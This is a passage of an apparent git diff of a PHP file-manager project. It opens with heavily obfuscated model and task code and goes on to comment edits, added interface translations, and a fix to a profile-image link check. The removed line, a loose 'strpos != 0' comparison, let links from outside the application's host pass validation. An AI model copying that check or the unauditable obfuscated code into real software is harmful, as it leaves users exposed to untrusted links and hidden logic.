$Eᯋ(DATA_PATH . $E, $a̭); } goto b; Dʬ: $DƢʧ(); $Eᯋ = $Fœ[1292]; $a̭ = json_encode($GLOBALS[$Fœ[1293]]); goto bר; eӴ: $Eߘ = $C̿($fԶ); $CŤ = explode($Fœ[214], $Eߘ); if (count($CŤ) < $Fœ[549]) { $C = $Fœ[787]; $C(); } goto e̕; e̕: $b؆޳ = $Fœ[788]; $b؆޳($_SERVER[$Fœ[789]]); $DƢʧ = $Fœ[783]; goto Dʬ; b: } $Dͩ澻 = $this->getInfoSimple($B䂻); if (!$Dͩ澻 || !is_array($Aڑ)) { return !1; } goto Cݾ; Cݾ: $fܿ = Model($Fœ[2146]); $fܿ->where(array($Fœ[1409] => $B䂻))->delete(); $C = array(); goto e; cߌ: } protected function userGroupAdd($a, $D멫, $D) { $DЄܐ =& $_SERVER[ڊ]; $DĈ = $this->getInfoSimple($a); if (!$DĈ || !$D멫) { return !1; } $cԊ = array(array($DЄܐ[1409] => $a, $DЄܐ[2072] => $D멫, $DЄܐ[2200] => $D)); return Model($DЄܐ[2146])->addAll($cԊ, array(), !0); } protected function userGroupRemove($Cɾܴ, $f֟) { $BʢΚ =& $_SERVER[ڊ]; $c = $this->getInfoSimple($Cɾܴ); if (!$c || !$f֟) { return !1; } $bƹ = array($BʢΚ[1400] => $Cɾܴ, $BʢΚ[2144] => $f֟); return Model($BʢΚ[2146])->where($bƹ)->delete(); } public function listData() { $f׃ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($f׃[$_SERVER[ڊ][351]]); return $f׃; } public function listByID($bÞ) { $bۤ =& $_SERVER[ڊ]; if (!$bÞ) { return; } $e޽ = array($bۤ[1409] => array($bۤ[7], $bÞ)); $a˄ʢ = $this->where($e޽)->select(); $this->_listDataApply($a˄ʢ); return $a˄ʢ; } public function listByGroup($DŅ = 0, $aʎ = array()) { goto Aǜ; Dً: if ($DŅ) { $EȲ = array($eȵ[2485] => intval($DŅ)); $E = "\114\105\106\x54\40\x4a\x4f\111\116\40{$this->tablePrefix}\165\163\145\162\x5f\147\x72\x6f\x75\160\x20\x75\163\x65\x72\x5f\x67\x72\157\165\x70\40\x6f\x6e\40\x75\163\145\x72\x2e\x75\x73\x65\x72\111\x44\40\75\40\165\x73\x65\x72\x5f\147\x72\x6f\x75\x70\x2e\165\x73\x65\x72\111\104"; $f׭ = Input::get($eȵ[403], null, $eȵ[33]) ? $eȵ[33] : $eȵ[2486]; } if (isset($aʎ[$eȵ[684]])) { $EȲ[$eȵ[2487]] = $aʎ[$eȵ[684]]; } $A˞ = $this->_makeOrder($f׭)->field($eȵ[2488])->where($EȲ)->join($E)->selectPage(50); goto cޗ; Aǜ: $eȵ =& $_SERVER[ڊ]; $E = $eȵ[33]; $EȲ = array(); goto Dً; cޗ: $this->_listDataApply($A˞[$eȵ[351]]); return $A˞; goto BᇲΣ; BᇲΣ: } private function _makeOrder($E = '') { goto dц׆; AԳ: $E = $E . "\x75\163\145\x72\56{$c}\x20{$aᴋ}\x2c\x20\165\x73\145\162\x2e\x75\163\145\x72\x49\104\40\x61\x73\143"; return $this->alias($A̕[2233])->order($E); goto Bȇ; Eۋ: $c = Input::get($A̕[403], $A̕[7], $A̕[1400], $Eϯ埅); $aᴋ = Input::get($A̕[404], $A̕[7], $A̕[2147], array($A̕[2147], $A̕[400])); $aᴋ = $Cڿ[$aᴋ]; goto AԳ; dц׆: $A̕ =& $_SERVER[ڊ]; $Eϯ埅 = array($A̕[1409], $A̕[28], $A̕[2058], $A̕[2031], $A̕[184]); $Cڿ = array($A̕[398] => $A̕[399], $A̕[400] => $A̕[401]); goto Eۋ; Bȇ: } public function listSearch($b) { goto Cݴ; fˑ: return $E; goto AŐ; CΛ،: if (!$fʍ΅) { $dɖ = array(); } if (isset($b[$Fٷ[684]])) { $dɖ[$Fٷ[684]] = $b[$Fٷ[684]]; } $E = $this->_makeOrder()->where($dɖ)->selectPage(20); goto EǍ; cڸ: $fʍ΅ = str_replace($Fٷ[2150], $Fٷ[2151], trim($fʍ΅)); $dɖ = array($Fٷ[28] => array($Fٷ[746], "\x25{$fʍ΅}\45"), $Fٷ[290] => array($Fٷ[746], "\45{$fʍ΅}\45"), $Fٷ[2292] => array($Fٷ[746], "\x25{$fʍ΅}\45"), $Fٷ[908] => $Fٷ[2152]); if (Input::check($fʍ΅, $Fٷ[296])) { $dɖ[$Fٷ[1409]] = array($Fٷ[746], "\x25{$fʍ΅}\45"); $dɖ[$Fٷ[2468]] = array($Fٷ[746], "\45{$fʍ΅}\x25"); } goto CΛ،; Cݴ: $Fٷ =& $_SERVER[ڊ]; $fʍ΅ = $b[$Fٷ[2148]]; $C˻ = isset($b[$Fٷ[2149]]) ? $b[$Fٷ[2149]] : !1; goto cڸ; EǍ: if (!$E || count($E[$Fٷ[351]]) < 5 && Input::check($fʍ΅, $Fٷ[303])) { $F = $this->_searchFromMeta($Fٷ[411], $fʍ΅, 10); $Aʋڳ = $this->_searchFromMeta($Fٷ[412], $fʍ΅, 10); $fȵ = array_merge($F, $Aʋڳ, $E[$Fٷ[351]]); $E[$Fٷ[351]] = array_unique_by_key($fȵ, $Fٷ[1409]); $E[$Fٷ[348]][$Fٷ[349]] = count($E[$Fٷ[351]]); $E[$Fٷ[348]][$Fٷ[350]] = ceil($E[$Fٷ[348]][$Fٷ[349]] / $E[$Fٷ[348]][$Fٷ[346]]); } $this->_listDataApply($E[$Fٷ[351]]); $this->_filterByGroup($E, $C˻); goto fˑ; AŐ: } private function _filterByGroup(&$fŭ, $D) { $a匕 =& $_SERVER[ڊ]; if (!$D) { return $fŭ; } foreach ($fŭ[$a匕[351]] as $dʟ => &$b) { $A = array_to_keyvalue($b[$a匕[2489]], $a匕[33], $a匕[2072]); if (!in_array($D, $A)) { unset($fŭ[$a匕[351]][$dʟ]); } } $fŭ[$a匕[351]] = array_values($fŭ[$a匕[351]]); $fŭ[$a匕[348]] = array($a匕[2267] => count($fŭ[$a匕[351]]), $a匕[2265] => $fŭ[$a匕[348]][$a匕[346]], $a匕[2264] => 1, $a匕[2266] => 1); } private function _searchFromMeta($aݞ, $e, $a͉ӷ) { goto aƛ; A: $búӅ = Model($DȈ[2490])->where($cޱ)->limit($a͉ӷ)->select(); if (!$búӅ) { return array(); } $búӅ = array_to_keyvalue($búӅ, $DȈ[33], $DȈ[1409]); goto E׮л; E׮л: $B = $this->where(array($DȈ[1400] => array($DȈ[7], $búӅ)))->select(); if (!$B) { return array(); } return $B; goto a; aƛ: $DȈ =& $_SERVER[ڊ]; $e = strtolower($e); $cޱ = array($DȈ[89] => $aݞ, $DȈ[356] => array($DȈ[746], "\x25{$e}\x25")); goto A; a: } private function _listDataApplyItem($B؟ϚĤ) { $B᪰ї = array($B؟ϚĤ); $this->_listDataApply($B᪰ї); return $B᪰ї[0]; } private function _listDataApply(&$F·䨔) { goto AҌ; c: $this->_listAppendSourceRoot($F·䨔, $cğ); goto E֜ȓ; AҌ: $c =& $_SERVER[ڊ]; if (!$F·䨔) { return; } array_remove_key($F·䨔, $c[796]); goto aӺޙ; aӺޙ: $cğ = array_to_keyvalue($F·䨔, $c[33], $c[1409]); $this->_listAppendGroup($F·䨔, $cğ); $this->_listAppendMeta($F·䨔, $cğ); goto c; E֜ȓ: } private function _listAppendSourceRoot(&$Dķ, $BӇ) { goto F; D،ά: foreach ($Dķ as &$Fʇ͞) { $Fʇ͞[$D憨ˣ[388]] = $f[$Fʇ͞[$D憨ˣ[1409]]] ? $f[$Fʇ͞[$D憨ˣ[1409]]] : array(); } goto fٿ; B˫: $f = Model($D憨ˣ[747])->order($D憨ˣ[2159])->field($eǟ)->where($c㋖)->select(); $f = array_to_keyvalue($f, $D憨ˣ[452]); $f = array_remove_key($f, $D憨ˣ[452]); goto D،ά; F: $D憨ˣ =& $_SERVER[ڊ]; $c㋖ = array($D憨ˣ[457] => 0, $D憨ˣ[368] => SourceModel::TYPE_USER, $D憨ˣ[452] => array($D憨ˣ[7], $BӇ)); $eǟ = $D憨ˣ[2158]; goto B˫; fٿ: } private function _listAppendGroup(&$aˣ, $FŹ) { goto CŖ; A刉: $fΉ = array_to_keyvalue($b߇, $a[33], $a[2072]); $fΉ = array_remove_value(array_unique($fΉ), $a[464]); if (!$fΉ || !$b߇) { return; } goto eɬ; eɬ: $B = array($a[2072] => array($a[7], $fΉ)); $a = Model($a[2491])->field($a[2492])->where($B)->select(); $Aʍ = array_to_keyvalue($a, $a[2072], $a[28]); goto fĬè; fĬè: $b߇ = array_to_keyvalue_group($b߇, $a[1409]); foreach ($b߇ as &$A) { $C̛޼ܫ = array(); foreach ($A as $b݇ѵ) { if (!$b݇ѵ[$a[2200]]) { continue; } $B = Model($a[2219])->listData($b݇ѵ[$a[2200]]); $C̛޼ܫ[] = array($a[2072] => $b݇ѵ[$a[2072]], $a[2493] => $Aʍ[$b݇ѵ[$a[2072]]], $a[373] => $B); } $A = $C̛޼ܫ; } foreach ($aˣ as &$bͪ) { $bͪ[$a[2489]] = array(); if (isset($b߇[$bͪ[$a[1409]]])) { $bͪ[$a[2489]] = $b߇[$bͪ[$a[1409]]]; } } goto B娠; CŖ: $a =& $_SERVER[ڊ]; $B = array($a[1409] => array($a[7], $FŹ)); $b߇ = Model($a[2146])->where($B)->select(); goto A刉; B娠: } private function _listAppendMeta(&$C懿, $A؅) { goto Fɝ; dڰ: $aܲ = array($a땶׉[1409] => array($a땶׉[7], $A؅)); $eШ = Model($a땶׉[2467])->where($aܲ)->select(); $eШ = array_to_keyvalue_group($eШ, $a땶׉[1409]); goto d‡܏; Fɝ: $a땶׉ =& $_SERVER[ڊ]; $Ddžē = UserJobModel::JOB_KEY; $Eǭ = array($a땶׉[2470]); goto dڰ; d‡܏: foreach ($eШ as &$C) { $Ḟ = array(); foreach ($C as $d) { if (!in_array($d[$a땶׉[89]], $Eǭ)) { $Ḟ[$d[$a땶׉[89]]] = $d[$a땶׉[356]]; } } $C = $Ḟ; } $Cԭ = Model($a땶׉[2494]); foreach ($C懿 as &$B뾉ڨ) { $F = array(); if (isset($eШ[$B뾉ڨ[$a땶׉[1409]]])) { $F = $eШ[$B뾉ڨ[$a땶׉[1409]]]; } $B뾉ڨ[$a땶׉[2495]] = array(); if (isset($F[$Ddžē])) { $B뾉ڨ[$a땶׉[2495]] = $Cԭ->getUserJobInfo($F[$Ddžē]); } } goto e; e: } public function userSearch($Aڽ, $Cڃ = "\x2a") { return Model($_SERVER[ڊ][473])->where($Aڽ)->field($Cڃ)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\163\x65\x72\137\157\160\164\151\x6f\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($fᩄ) { $B =& $_SERVER[ڊ]; if (!defined($B[423])) { define($B[423], 0); } return "\x55\x73\x65\162\117\160\164\x69\x6f\x6e\137{$fᩄ}\x5f" . USER_ID; } protected function filterWhere($dܩ) { $CÞӆ =& $_SERVER[ڊ]; if (!defined($CÞӆ[423])) { define($CÞӆ[423], 0); } $dܩ[$CÞӆ[1409]] = USER_ID; return $dܩ; } public function cacheRemoveUser($fʄ, $E) { return Cache::remove("\x55\163\145\x72\117\x70\164\x69\x6f\x6e\x5f{$fʄ}\x5f" . $E); } protected function optionDefault($B„ = '') { $a =& $_SERVER[ڊ]; if ($B„ == $a[33]) { return $GLOBALS[$a[6]][$a[2496]]; } if ($B„ == $a[2497]) { return $GLOBALS[$a[6]][$a[2498]]; } } } goto a; e҆ϳ: class TaskHttp extends Task { protected function startAfter() { $D =& $_SERVER[ڊ]; Hook::bind($D[1446], array($this, $D[1469])); Hook::bind($D[1448], array($this, $D[1470])); Hook::bind($D[1450], array($this, $D[1471])); } protected function endAfter() { $aʻ =& $_SERVER[ڊ]; Hook::unbind($aʻ[1446], array($this, $aʻ[1469])); Hook::unbind($aʻ[1448], array($this, $aʻ[1470])); Hook::unbind($aʻ[1450], array($this, $aʻ[1471])); } public function progressStart($F줬) { $CȚ =& $_SERVER[ڊ]; $Dܯʣ = curl_getinfo($F줬); self::log($CȚ[1472] . $Dܯʣ[$CȚ[292]]); self::valueSet($this->task[$CȚ[364]], $this->task); } public function progressEnd($fږ) { $d򽅌˫ =& $_SERVER[ڊ]; self::log($d򽅌˫[1473] . $this->task[$d򽅌˫[364]]); $this->end(); } public function progress($a, $dո, $Aȍ, $c, $E) { $Dˋ =& $_SERVER[ڊ]; $FЙ =& $this->task; if ($E > 0) { $FЙ[$Dˋ[970]] = $FЙ[$Dˋ[970]] == 0 ? $c : $FЙ[$Dˋ[970]]; $FЙ[$Dˋ[982]] = $E; } else { if ($Aȍ > 0) { $FЙ[$Dˋ[970]] = $FЙ[$Dˋ[970]] == 0 ? $dո : $FЙ[$Dˋ[970]]; $FЙ[$Dˋ[982]] = $Aȍ; } } $this->update(); self::log("\x70\x72\157\x67\x72\145\x73\x73\x48\164\x74\160\x3a\144\157\167\156\72{$Aȍ}\57{$dո}\x3b\40\165\160\154\x6f\x61\144\72{$E}\x2f{$c}\73"); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { goto F㹕; dؤ: Hook::bind($bˮ[1027], array($this, $bˮ[1476])); $b =& $this->task; $b[$bˮ[1477]] = $bˮ[1032]; goto a; F㹕: $bˮ =& $_SERVER[ڊ]; parent::startAfter(); Hook::bind($bˮ[1474], array($this, $bˮ[1475])); goto dؤ; a: if (!$b[$bˮ[1316]]) { $b[$bˮ[1316]] = LNG($bˮ[1478]); } goto dٸ߶; dٸ߶: } protected function endAfter() { $eȅ =& $_SERVER[ڊ]; parent::endAfter(); Hook::unbind($eȅ[1474], array($this, $eȅ[1475])); Hook::unbind($eȅ[1027], array($this, $eȅ[1476])); } public function updateAfter() { $f͢ =& $_SERVER[ڊ]; $F𧞭 =& $this->task; if (!$F𧞭[$f͢[970]] || !$F𧞭[$f͢[693]]) { return; } if ($F𧞭[$f͢[1477]] == $f͢[1032]) { $eȑ = 0; if ($F𧞭[$f͢[1454]]) { $eȑ = $F𧞭[$f͢[1455]] / $F𧞭[$f͢[1454]]; } $F𧞭[$f͢[1410]] = $eȑ * 0.3; } else { if ($F𧞭[$f͢[1477]] == $f͢[298]) { $eȑ = $F𧞭[$f͢[982]] / $F𧞭[$f͢[970]]; $F𧞭[$f͢[1410]] = 0.3 + $eȑ * 0.4; } else { if ($F𧞭[$f͢[1477]] == $f͢[91]) { $e蔯 = 0; if ($F𧞭[$f͢[1456]] == $f͢[91]) { $e蔯 = $F𧞭[$f͢[1455]]; } $eȑ = ($F𧞭[$f͢[1459]] + $e蔯) / $F𧞭[$f͢[693]]; $F𧞭[$f͢[1410]] = 0.3 + 0.4 + $eȑ * 0.3; } } } if ($F𧞭[$f͢[1410]] > 0) { $ař = timeFloat() - $F𧞭[$f͢[1412]] - $F𧞭[$f͢[1415]]; $F𧞭[$f͢[1416]] = $ař * (1 - $F𧞭[$f͢[1410]]) / $F𧞭[$f͢[1410]]; } } public function addFile($Aɽ) { goto b; F޸: $Cϵ[$CÓ[1452]] = $aڞ[$CÓ[28]]; $Cϵ[$CÓ[1454]] = $aڞ[$CÓ[77]]; $Cϵ[$CÓ[1455]] = 0; goto c; c: $Cϵ[$CÓ[972]] = $CÓ[1467]; $Cϵ[$CÓ[1456]] = $CÓ[1032]; $Cϵ[$CÓ[693]] = $aڞ[$CÓ[77]]; goto C½; C½: $Cϵ[$CÓ[970]] = 1; $aɴӏ = 0; $Cϵ[$CÓ[1460]] = array($CÓ[1461] => $aɴӏ + 1, $CÓ[383] => $aڞ[$CÓ[28]], $CÓ[75] => $aڞ[$CÓ[75]], $CÓ[462] => $aڞ[$CÓ[462]] ? $aڞ[$CÓ[462]] : $aڞ[$CÓ[75]]); goto fĤ܆; b: $CÓ =& $_SERVER[ڊ]; $Cϵ =& $this->task; $aڞ = IO::info($Aɽ); goto F޸; fĤ܆: $this->update(); goto dニ; dニ: } public function unzipAfter($c) { goto F϶; CĮ: $this->update(); self::log($Cؓޤ[1479] . json_encode(array($Bܡ, $f䗏))); goto A։; F϶: $Cؓޤ =& $_SERVER[ڊ]; $Bܡ =& $this->task; $Bܡ[$Cؓޤ[1477]] = $Cؓޤ[91]; goto AӇ; Fܿ: if ($f䗏[$Cؓޤ[29]] == $Cؓޤ[164]) { $Bܡ[$Cؓޤ[970]] = 1; } else { $Bܡ[$Cؓޤ[970]] = $f䗏[$Cؓޤ[80]][$Cؓޤ[78]]; } $Bܡ[$Cؓޤ[972]] = $Cؓޤ[33]; $Bܡ[$Cؓޤ[1456]] = 0; goto AǕ; AǕ: $Bܡ[$Cؓޤ[982]] = 0; $Bܡ[$Cؓޤ[1454]] = 0; $Bܡ[$Cؓޤ[1455]] = 0; goto a˻ڝٌ; AӇ: $f䗏 = IO::infoWithChildren($c); $e = 0; $Bܡ[$Cؓޤ[1460]] = array($Cؓޤ[1461] => $e + 1, $Cؓޤ[383] => $f䗏[$Cؓޤ[28]], $Cؓޤ[75] => $f䗏[$Cؓޤ[75]], $Cؓޤ[462] => $f䗏[$Cؓޤ[462]] ? $f䗏[$Cؓޤ[462]] : $f䗏[$Cؓޤ[75]]); goto Fܿ; a˻ڝٌ: $Bܡ[$Cؓޤ[1452]] = $Cؓޤ[33]; $Bܡ[$Cؓޤ[1459]] = 0; $Bܡ[$Cؓޤ[693]] = $f䗏[$Cؓޤ[77]]; goto CĮ; A։: } public function nameParse($E) { goto f; f: $fۋģ =& $_SERVER[ڊ]; $F犓 =& $this->task; if ($F犓[$fۋģ[1477]] == $fۋģ[1032]) { $F犓[$fۋģ[1477]] = $fۋģ[298]; $F犓[$fۋģ[1459]] = 0; $F犓[$fۋģ[693]] = 0; } goto d߮; d߮: $D = get_path_this($E); if (strstr($D, $fۋģ[93])) { $F犓[$fۋģ[982]] += 1; $F犓[$fۋģ[970]] += 1; } $F犓[$fۋģ[1452]] = $E; goto EϿˣ; EϿˣ: $this->update(); goto fֹه; fֹه: } } $a٩ = LIB_DIR . $_SERVER[ڊ][1151]; goto e; D: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\x65\162\137\x66\x61\166"; protected function cacheFunctionAlias($B֥͘т) { $D܄ =& $_SERVER[ڊ]; return array($D܄[2443] => array(USER_ID, $D܄[2499])); } protected function listData() { $eƂ =& $_SERVER[ڊ]; $Cʰ݊ = array($eƂ[1400] => USER_ID, $eƂ[432] => array($eƂ[2500], 0)); $fВ = $eƂ[2501]; $F = $eƂ[2502]; $A脍؂ = $this->field($fВ)->where($Cʰ݊)->order($F)->select(); return $A脍؂ ? $A脍؂ : array(); } protected function listByTag($CҬ) { } protected function addToTag($D䅬넂, $aɾ) { $eɸ =& $_SERVER[ڊ]; if (!Model($eɸ[2272])->listData($aɾ) || !Model($eɸ[747])->pathInfo($D䅬넂)) { return !1; } $e눥 = array($eɸ[1400] => USER_ID, $eɸ[432] => $aɾ, $eɸ[384] => $D䅬넂, $eɸ[385] => $eɸ[379], $eɸ[383] => $eɸ[33], $eɸ[2076] => 0); if ($this->where($e눥)->find()) { return !1; } return $this->add($e눥); } protected function removeFromTag($D, $b) { $aВ =& $_SERVER[ڊ]; if (!Model($aВ[2272])->listData($b) || !Model($aВ[747])->pathInfo($D)) { return !1; } $bɡ = array($aВ[1400] => USER_ID, $aВ[432] => $b, $aВ[385] => $aВ[379], $aВ[384] => $D); return $this->where($bɡ)->delete(); } protected function removeByTag($Aӓ) { $C멛 =& $_SERVER[ڊ]; if (!$Aӓ) { return !1; } $b = array($C멛[1400] => USER_ID, $C멛[432] => $Aӓ); return $this->where($b)->delete(); } protected function removeBySource($cׅ) { $fϋ =& $_SERVER[ڊ]; $E֑ = array($fϋ[1400] => USER_ID, $fϋ[384] => $cׅ, $fϋ[432] => array($fϋ[922], 0)); return $this->where($E֑)->delete(); } } \ No newline at end of file diff --git a/app/controller/admin/log.class.php b/app/controller/admin/log.class.php index 8dfbaa7d..af4a160d 100644 --- a/app/controller/admin/log.class.php +++ b/app/controller/admin/log.class.php @@ -91,7 +91,7 @@ private function typeListMerge($list){ /** - * 日志列表 + * 后台管理-日志列表 * @return void */ public function get(){ @@ -163,7 +163,7 @@ public function loginLog(){ } /** - * 用户文档日志 + * 个人中心-用户文档日志 * @return void */ public function userLog(){ @@ -198,7 +198,7 @@ public function userLog(){ show_json($res); } /** - * 用户登录日志 + * 个人中心-用户登录日志 * @return void */ public function userLogLogin(){ diff --git a/app/controller/user/setting.class.php b/app/controller/user/setting.class.php index 3ad49389..a24ead44 100644 --- a/app/controller/user/setting.class.php +++ b/app/controller/user/setting.class.php @@ -226,7 +226,7 @@ public function decodePwd($password) { */ public function setHeadImage() { $link = Input::get('link', 'require'); - if(strpos($link, APP_HOST) != 0) { + if(strpos($link, APP_HOST) !== 0) { show_json(LNG('common.illegalRequest'), false); } $userID = USER_ID; diff --git a/config/i18n/ar/index.php b/config/i18n/ar/index.php index 1a4ec0fe..00f3adfc 100644 --- a/config/i18n/ar/index.php +++ b/config/i18n/ar/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "بدء اللون", "user.theme.colorEnd" => "لون النهاية", "user.theme.colorRadius" => "زاوية التدرج", + "user.theme.themeImage" => "صورة الخلفية", + "user.theme.themeImageDesc" => "الدعم: رابط الصورة ، لون التدرج css ، اتبع الخلفية", + "user.theme.imageWall" => "اتبع الخلفية", + "user.wall.random" => "خلفية عشوائية", "user.wall.paperDesktop" => "خلفيات سطح المكتب", "user.wall.paperDeskMgt" => "إدارة خلفية سطح المكتب", "user.wall.paperLoginMgt" => "إدارة خلفية تسجيل الدخول", diff --git a/config/i18n/bn/index.php b/config/i18n/bn/index.php index 4968148d..c5f9f641 100644 --- a/config/i18n/bn/index.php +++ b/config/i18n/bn/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "রঙ শুরু করুন", "user.theme.colorEnd" => "শেষ রঙ", "user.theme.colorRadius" => "গ্রেডিয়েন্ট কোণ", + "user.theme.themeImage" => "পটভূমি চিত্র", + "user.theme.themeImageDesc" => "সমর্থন: ছবি ইউআরএল, সিএসএস গ্রেডিয়েন্ট রঙ, ওয়ালপেপার অনুসরণ করুন", + "user.theme.imageWall" => "ওয়ালপেপার অনুসরণ করুন", + "user.wall.random" => "এলোমেলো ওয়ালপেপার", "user.wall.paperDesktop" => "ডেস্কটপ ওয়ালপেপার", "user.wall.paperDeskMgt" => "ডেস্কটপ ওয়ালপেপার পরিচালনা", "user.wall.paperLoginMgt" => "ওয়ালপেপার পরিচালনা লগইন করুন", diff --git a/config/i18n/de/index.php b/config/i18n/de/index.php index c5fc07e5..3dc2631f 100644 --- a/config/i18n/de/index.php +++ b/config/i18n/de/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Starten Sie die Farbe", "user.theme.colorEnd" => "Endfarbe", "user.theme.colorRadius" => "Steigungswinkel", + "user.theme.themeImage" => "Hintergrundbild", + "user.theme.themeImageDesc" => "Unterstützung: Bild-URL, CSS-Verlaufsfarbe, Hintergrundbild folgen", + "user.theme.imageWall" => "Folgen Sie dem Hintergrundbild", + "user.wall.random" => "Zufälliges Hintergrundbild", "user.wall.paperDesktop" => "Desktop-Hintergründe", "user.wall.paperDeskMgt" => "Desktop-Hintergrundverwaltung", "user.wall.paperLoginMgt" => "Login Wallpaper Management", diff --git a/config/i18n/en/index.php b/config/i18n/en/index.php index 1087fe41..ed100830 100644 --- a/config/i18n/en/index.php +++ b/config/i18n/en/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Start color", "user.theme.colorEnd" => "End color", "user.theme.colorRadius" => "Gradient angle", + "user.theme.themeImage" => "Background picture", + "user.theme.themeImageDesc" => "Support: picture url, css gradient color, follow wallpaper", + "user.theme.imageWall" => "Follow wallpaper", + "user.wall.random" => "Random wallpaper", "user.wall.paperDesktop" => "Desktop Wallpapers", "user.wall.paperDeskMgt" => "Desktop wallpaper management", "user.wall.paperLoginMgt" => "Login wallpaper management", diff --git a/config/i18n/es/index.php b/config/i18n/es/index.php index 1b68ab47..6e5ef32a 100644 --- a/config/i18n/es/index.php +++ b/config/i18n/es/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Color de inicio", "user.theme.colorEnd" => "Color final", "user.theme.colorRadius" => "Ángulo de gradiente", + "user.theme.themeImage" => "Imagen de fondo", + "user.theme.themeImageDesc" => "Soporte: URL de imagen, color degradado css, seguir fondo de pantalla", + "user.theme.imageWall" => "Seguir el fondo de pantalla", + "user.wall.random" => "Fondo de pantalla aleatorio", "user.wall.paperDesktop" => "Fondos de escritorio", "user.wall.paperDeskMgt" => "Gestión de fondos de escritorio", "user.wall.paperLoginMgt" => "Gestión de fondos de pantalla de inicio de sesión", diff --git a/config/i18n/fr/index.php b/config/i18n/fr/index.php index 8bbd8ab6..755ab612 100644 --- a/config/i18n/fr/index.php +++ b/config/i18n/fr/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Couleur de départ", "user.theme.colorEnd" => "Couleur finale", "user.theme.colorRadius" => "Angle de dégradé", + "user.theme.themeImage" => "Image d'arrière-plan", + "user.theme.themeImageDesc" => "Support: URL de l'image, couleur dégradée css, suivre le fond d'écran", + "user.theme.imageWall" => "Suivre le papier peint", + "user.wall.random" => "Fond d'écran aléatoire", "user.wall.paperDesktop" => "Fonds d'écran", "user.wall.paperDeskMgt" => "Gestion du papier peint de bureau", "user.wall.paperLoginMgt" => "Gestion des papiers peints de connexion", diff --git a/config/i18n/hi/index.php b/config/i18n/hi/index.php index db243530..c7efed7f 100644 --- a/config/i18n/hi/index.php +++ b/config/i18n/hi/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "रंग शुरू करो", "user.theme.colorEnd" => "अंतिम रंग", "user.theme.colorRadius" => "ढाल का कोण", + "user.theme.themeImage" => "पृष्ठभूमि चित्र", + "user.theme.themeImageDesc" => "समर्थन: चित्र यूआरएल, सीएसएस ढाल रंग, वॉलपेपर का पालन करें", + "user.theme.imageWall" => "वॉलपेपर का पालन करें", + "user.wall.random" => "यादृच्छिक वॉलपेपर", "user.wall.paperDesktop" => "डेस्कटॉप वॉलपेपर", "user.wall.paperDeskMgt" => "डेस्कटॉप वॉलपेपर प्रबंधन", "user.wall.paperLoginMgt" => "वॉलपेपर प्रबंधन लॉगिन करें", diff --git a/config/i18n/id/index.php b/config/i18n/id/index.php index cb0f0b2a..91ca6116 100644 --- a/config/i18n/id/index.php +++ b/config/i18n/id/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Mulai warna", "user.theme.colorEnd" => "Warna akhir", "user.theme.colorRadius" => "Sudut gradien", + "user.theme.themeImage" => "Gambar latar belakang", + "user.theme.themeImageDesc" => "Dukungan: url gambar, warna gradien css, ikuti wallpaper", + "user.theme.imageWall" => "Ikuti wallpaper", + "user.wall.random" => "Wallpaper acak", "user.wall.paperDesktop" => "Wallpaper Desktop", "user.wall.paperDeskMgt" => "Manajemen wallpaper desktop", "user.wall.paperLoginMgt" => "Manajemen Wallpaper Login", diff --git a/config/i18n/it/index.php b/config/i18n/it/index.php index 605fc832..3d2d7ebe 100644 --- a/config/i18n/it/index.php +++ b/config/i18n/it/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Inizia il colore", "user.theme.colorEnd" => "Colore finale", "user.theme.colorRadius" => "Angolo di gradiente", + "user.theme.themeImage" => "Immagine di sfondo", + "user.theme.themeImageDesc" => "Supporto: url dell'immagine, colore sfumato CSS, segui lo sfondo", + "user.theme.imageWall" => "Segui lo sfondo", + "user.wall.random" => "Sfondo casuale", "user.wall.paperDesktop" => "Sfondi desktop", "user.wall.paperDeskMgt" => "Gestione dello sfondo del desktop", "user.wall.paperLoginMgt" => "Gestione sfondi per l'accesso", diff --git a/config/i18n/ja/index.php b/config/i18n/ja/index.php index bc896225..08f456f8 100644 --- a/config/i18n/ja/index.php +++ b/config/i18n/ja/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "開始色", "user.theme.colorEnd" => "終了色", "user.theme.colorRadius" => "勾配角", + "user.theme.themeImage" => "背景画像", + "user.theme.themeImageDesc" => "サポート:画像のURL、CSSのグラデーションカラー、壁紙に従う", + "user.theme.imageWall" => "壁紙に従ってください", + "user.wall.random" => "ランダムな壁紙", "user.wall.paperDesktop" => "デスクトップの壁紙", "user.wall.paperDeskMgt" => "デスクトップの壁紙管理", "user.wall.paperLoginMgt" => "ログイン壁紙管理", diff --git a/config/i18n/ko/index.php b/config/i18n/ko/index.php index 236ded6b..cde01b50 100644 --- a/config/i18n/ko/index.php +++ b/config/i18n/ko/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "시작 색상", "user.theme.colorEnd" => "엔드 컬러", "user.theme.colorRadius" => "그라데이션 각도", + "user.theme.themeImage" => "배경 그림", + "user.theme.themeImageDesc" => "지원 : 사진 URL, CSS 그라디언트 색상, 배경 화면 따르기", + "user.theme.imageWall" => "바탕 화면 팔로우", + "user.wall.random" => "랜덤 바탕 화면", "user.wall.paperDesktop" => "데스크탑 월페이퍼", "user.wall.paperDeskMgt" => "바탕 화면 관리", "user.wall.paperLoginMgt" => "로그인 배경 화면 관리", diff --git a/config/i18n/pl/index.php b/config/i18n/pl/index.php index 7fa9acc5..aacf359d 100644 --- a/config/i18n/pl/index.php +++ b/config/i18n/pl/index.php @@ -2074,6 +2074,10 @@ "user.theme.colorStart" => "Rozpocznij kolor", "user.theme.colorEnd" => "Kolor końcowy", "user.theme.colorRadius" => "Kąt gradientu", + "user.theme.themeImage" => "Obraz tła", + "user.theme.themeImageDesc" => "Wsparcie: adres URL obrazu, kolor gradientu css, podążaj za tapetą", + "user.theme.imageWall" => "Postępuj zgodnie z tapetą", 